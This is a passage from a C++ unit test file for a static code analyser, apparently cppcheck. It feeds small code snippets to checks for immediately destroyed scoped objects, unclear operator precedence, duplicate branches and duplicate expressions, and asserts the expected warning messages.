\"};\\n\"\n \"void S::A(double const a1, double const a2, double const a3) {\\n\"\n \" AMethodObject(a1, a2, a3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\",errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickNestedClass() {\n const char code[] = \"class ios_base {\\n\"\n \"public:\\n\"\n \" class Init {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class foo {\\n\"\n \"public:\\n\"\n \" foo();\\n\"\n \" void Init(int);\\n\"\n \"};\\n\"\n \"foo::foo() {\\n\"\n \" Init(0);\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectInConstructor() {\n const char code[] = \"class Foo {\\n\"\n \"public:\\n\"\n \" Foo(char x) {\\n\"\n \" Foo(x, 0);\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \" Foo(char x, int y) { }\\n\"\n \"};\\n\";\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectStandardType() {\n check(\"int g();\\n\"\n \"void f(int i) {\\n\"\n \" int();\\n\"\n \" int(0);\\n\"\n \" int( g() );\\n\" // don't warn\n \" int{};\\n\"\n \" int{ 0 };\\n\"\n \" int{ i };\\n\"\n \" int{ g() };\\n\" // don't warn\n \" g();\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:7:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:8:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"void f(int j) {\\n\"\n \" for (; bool(j); ) {}\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() {\\n\"\n \" float (f);\\n\"\n \" float (*p);\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" void();\\n\"\n \" return i;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectNamespace() {\n check(\"namespace M {\\n\" // #4779\n \" namespace N {\\n\"\n \" struct S {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" M::N::S();\\n\"\n \" return 0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:7:11]: (style) Instance of 'M::N::S' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10057\n \" std::string(\\\"abc\\\");\\n\"\n \" std::string{ \\\"abc\\\" };\\n\"\n \" std::pair(1, 2);\\n\"\n \" (void)0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:3:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:10]: (style) Instance of 'std::pair' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #10083\n \" void f() {\\n\"\n \" std::lock_guard(m);\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" std::mutex m;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Instance of 'std::lock_guard' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:9:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"namespace {\\n\"\n \" S s() { return ::S{42}; }\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectAssignment() { // #11371\n check(\"struct S;\\n\"\n \"S f();\\n\"\n \"S& g();\\n\"\n \"S&& h();\\n\"\n \"S* i();\\n\"\n \"void t0() { f() = {}; }\\n\"\n \"void t1() { g() = {}; }\\n\"\n \"void t2() { h() = {}; }\\n\"\n \"void t3() { *i() = {}; }\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:6:19]: (style) Instance of 'S' object is destroyed immediately, assignment has no effect. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac2084() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct sigaction sa;\\n\"\n \"\\n\"\n \" { sigaction(SIGHUP, &sa, 0); };\\n\"\n \" { sigaction(SIGINT, &sa, 0); };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac2071() {\n check(\"void f() {\\n\"\n \" struct AB {\\n\"\n \" AB(int a) { }\\n\"\n \" };\\n\"\n \"\\n\"\n \" const AB ab[3] = { AB(0), AB(1), AB(2) };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCalculation() {\n check(\"int f(char c) {\\n\"\n \" return 10 * (c == 0) ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", 10 * (c == 0) ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (2*a)?b:c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", a + b ? 1 : 2);\\n\"\n \"}\",true,false,false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Clarify calculation precedence for '+' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << x << y ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (style) Clarify calculation precedence for '<<' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a - b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '-' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a | b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '|' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n // ticket #195\n check(\"int f(int x, int y) {\\n\"\n \" return x >> ! y ? 8 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Clarify calculation precedence for '>>' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return shift < sizeof(int64_t)*8 ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a = *p ? 1 : 2; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { const char *p = x & 1 ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { x = a % b ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 1 ? '1' : '0'; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x % 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum {X,Y}; void f(int x) { return x & Y ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyStatement() {\n check(\"char* f(char* c) {\\n\"\n \" *c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:7]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char** c) {\\n\"\n \" *c[5]--;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:10]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a[5].v[3]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:17]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a(1, 5).v[x + y]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:24]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char* c) {\\n\"\n \" (*c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* c) {\\n\"\n \" bar(*c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" ***c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char** f(char*** c) {\\n\"\n \" **c[5]--;\\n\"\n \" return **c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:11]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" (***c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int*** p) {\\n\" // #10923\n \" delete[] **p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char** c) {\\n\"\n \" bar(**c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char* p) {\\n\"\n \" for (p = path; *p++;) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::array,3> array;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #12088\n \" for (auto it = v.begin(); it != v.end(); delete *it++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a)\\n\"\n \" b = 1;\\n\"\n \" else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" } else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 1;\\n\"\n \" else {\\n\"\n \" if (a)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:5:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"int f(int signed, unsigned char value) {\\n\"\n \" int ret;\\n\"\n \" if (signed)\\n\"\n \" ret = (signed char)value;\\n\" // cast must be kept so the simplifications and verification is skipped\n \" else\\n\"\n \" ret = (unsigned char)value;\\n\"\n \" return ret;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov bx, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3407\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n }\n\n void duplicateBranch1() {\n\n // tests inspired by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck )\n // Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" frac = front/(front-back);\\n\"\n \" else\\n\"\n \" frac = front/(front-back);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" { frac = front/(front-back);}\\n\"\n \" else\\n\"\n \" frac = front/((front-back));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n // No message about empty branches (#5354)\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" {}\\n\"\n \" else\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch2() {\n checkP(\"#define DOSTUFF1 ;\\n\"\n \"#define DOSTUFF2 ;\\n\"\n \"void f(int x) {\\n\" // #4329\n \" if (x)\\n\"\n \" DOSTUFF1\\n\"\n \" else\\n\"\n \" DOSTUFF2\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch3() {\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\"\n \"[test.cpp:2:9]: (style) The scope of the variable 'j' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" i++;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch4() {\n check(\"void* f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" return new A::Y(true);\\n\"\n \" } else {\\n\"\n \" return new A::Z(true);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch5() {\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch6() {\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" int i = 0;\\n\"\n \" } else {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression1() {\n check(\"void foo(int a) {\\n\"\n \" if (a == a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void fun(int b) {\\n\"\n \" return a && a ||\\n\"\n \" b == b &&\\n\"\n \" d > d &&\\n\"\n \" e < e &&\\n\"\n \" f ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\"\n \"[test.cpp:3:15]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\"\n \"[test.cpp:4:15]: (style) Same expression on both sides of '>'. [duplicateExpression]\\n\"\n \"[test.cpp:5:15]: (style) Same expression on both sides of '<'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return a && a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" a = b && b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(a,b == b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(b == b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a < b) && (b > a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&&' because 'aa' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a <= b) && (b >= a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'a<=b' and 'b>=a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || y!=3 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Same expression 'x!=2' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 && (x=y) && x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b | b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a + b) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a | b) & (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a | b) == (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a1[a2[c & 0xff] & 0xff]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void d(const char f, int o, int v)\\n\"\n \"{\\n\"\n \" if (((f=='R') && (o == 1) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='R') && (o == 2) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='T') && (o == 2) && ((v < 200) || (v > 9999)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { return x+x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { while (x+=x) ; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a || b || b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a / 1000 / 1000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int i) {\\n\"\n \" return i/i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Same expression on both sides of '/'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a << 1 << 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !!y; }\"); // No FP\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different casts\n check(\"void f(long x) { if ((int32_t)x == (int64_t)x) {} }\",\n true, // filename\n false, // inconclusive\n false, // runSimpleChecks\n false, // verbose\n nullptr // settings\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different ({}) expressions\n check(\"void f(long x) { if (({ 1+2; }) == ({3+4;})) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5535: Reference named like its type\n check(\"void foo() { UMSConfig& UMSConfig = GetUMSConfiguration(); }\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Variable 'UMSConfig' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n // #3868 - false positive (same expression on both sides of |)\n check(\"void f(int x) {\\n\"\n \" a = x ? A | B | C\\n\"\n \" : A | B;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Bar &bar) {\\n\"\n \" bool a = bar.isSet() && bar->isSet();\\n\"\n \" bool b = bar.isSet() && bar.isSet();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b + a) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|' because 'b+a' and 'a+b' represent the same value. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(const std::string& a, const std::string& b) {\\n\"\n \" return a.find(b+\\\"&\\\") || a.find(\\\"&\\\"+b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b > a) | (a > b)) {}\\n\" // > is not commutative\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double a, double b) {\\n\"\n \" if ((b + a) > (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The comparison 'b+a > a+b' is always false because 'b+a' and 'a+b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'x==1' and 'x==0x00000001' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" if (Four == 4) {}\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) The comparison 'Four == 4' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" _Static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(4 == Four, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" if (FourInEnumOne == FourInEnumTwo) {}\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style) The comparison 'FourInEnumOne == FourInEnumTwo' is always true because 'FourInEnumOne' and 'FourInEnumTwo' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" static_assert(FourInEnumOne == FourInEnumTwo, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if (sizeof(a) == sizeof(a)) { }\\n\"\n \" if (sizeof(a) == sizeof(b)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"float bar(int) __attribute__((pure));\\n\"\n \"char foo(int) __attribute__((pure));\\n\"\n \"int test(int a, int b) {\\n\"\n \" if (bar(a) == bar(a)) { }\\n\"\n \" if (unknown(a) == unknown(a)) { }\\n\"\n \" if (foo(a) == foo(a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Same expression on both sides of '=='. 